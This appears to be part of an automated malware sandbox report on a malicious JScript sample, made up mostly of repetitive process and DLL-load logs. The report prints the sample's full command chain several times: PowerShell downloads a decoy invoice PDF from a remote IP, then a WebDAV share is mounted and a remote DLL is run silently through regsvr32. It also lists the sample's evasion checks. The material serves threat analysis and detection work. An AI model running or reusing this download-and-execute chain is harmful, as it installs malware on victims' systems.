Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7446.js.csv");ITextStream.WriteLine(" entry:7570 f:acahrnta");ITextStream.WriteLine(" exec:2 f:acahrnta");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4836			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5009			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7012	Thread sleep count: 4836 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7012	Thread sleep count: 5009 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1672	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6516	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1016	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2206493483.00000264FEFF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW `
Source: wscript.exe, 00000000.00000003.2146288346.00000233D02F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000002.2206493483.00000264FEFF9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206493483.00000264FEF98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3426840636.00000160D422B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3428204414.00000160D9A55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

